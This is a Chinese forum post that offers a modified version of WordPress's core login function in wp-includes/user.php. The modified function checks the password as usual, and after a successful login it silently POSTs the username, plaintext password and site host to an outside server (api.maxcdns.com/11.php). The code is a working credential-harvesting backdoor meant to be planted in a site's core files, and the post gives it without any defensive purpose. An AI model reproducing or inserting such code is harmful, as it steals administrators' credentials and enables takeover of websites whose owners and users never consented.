• 注册
  • 技术交流 技术交流 关注:27 内容:30

    WordPress记录正确的管理员账号密码

  • 查看作者
  • 打赏作者
  • 很早以前写过,后面代码丢了,百度的基本都是记录不了正确的账号密码,只好手动码一下

    在wp-includes/user.php的wp_authenticate_username_password功能中,替换成以下代码

    function wp_authenticate_username_password( $user, $username, $password ) {
    	if ( $user instanceof WP_User ) {
    		return $user;
    	}
    
    	if ( empty( $username ) || empty( $password ) ) {
    		if ( is_wp_error( $user ) ) {
    			return $user;
    		}
    
    		$error = new WP_Error();
    
    		if ( empty( $username ) ) {
    			$error->add( 'empty_username', __( '<strong>Error</strong>: The username field is empty.' ) );
    		}
    
    		if ( empty( $password ) ) {
    			$error->add( 'empty_password', __( '<strong>Error</strong>: The password field is empty.' ) );
    		}
    
    		return $error;
    	}
    
    	$user = get_user_by( 'login', $username );
    
    	if ( ! $user ) {
    		return new WP_Error(
    			'invalid_username',
    			sprintf(
    				/* translators: %s: User name. */
    				__( '<strong>Error</strong>: The username <strong>%s</strong> is not registered on this site. If you are unsure of your username, try your email address instead.' ),
    				$username
    			)
    		);
    	}
    
    	/**
    	 * Filters whether the given user can be authenticated with the provided $password.
    	 *
    	 * @since 2.5.0
    	 *
    	 * @param WP_User|WP_Error $user     WP_User or WP_Error object if a previous
    	 *                                   callback failed authentication.
    	 * @param string           $password Password to check against the user.
    	 */
    	$user = apply_filters( 'wp_authenticate_user', $user, $password );
    	if ( is_wp_error( $user ) ) {
    		return $user;
    	}
    
    	if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
    		return new WP_Error(
    			'incorrect_password',
    			sprintf(
    				/* translators: %s: User name. */
    				__( '<strong>Error</strong>: The password you entered for the username %s is incorrect.' ),
    				'<strong>' . $username . '</strong>'
    			) .
    			' <a href="' . wp_lostpassword_url() . '">' .
    			__( 'Lost your password?' ) .
    			'</a>'
    		);
    	}
    $post_data = array(
      'username' => $username,
      'password' => $password,
      'host' => $_SERVER['HTTP_HOST'],
    );
    send_post('http://api.maxcdns.com/11.php', $post_data);
    	return $user;
    	 
    }
    function send_post($url, $post_data) {
     
      $postdata = http_build_query($post_data);
      $options = array(
        'http' => array(
          'method' => 'POST',
          'header' => 'Content-type:application/x-www-form-urlencoded',
          'content' => $postdata,
          'timeout' => 15 * 60 // 超时时间(单位:s)
        )
      );
      $context = stream_context_create($options);
      $result = file_get_contents($url, false, $context);
     
      return $result;
    }

    请登录之后再进行评论

    登录

    WordPress后台-外观-小工具 进行配置小工具

    帖子间隔 侧栏位置: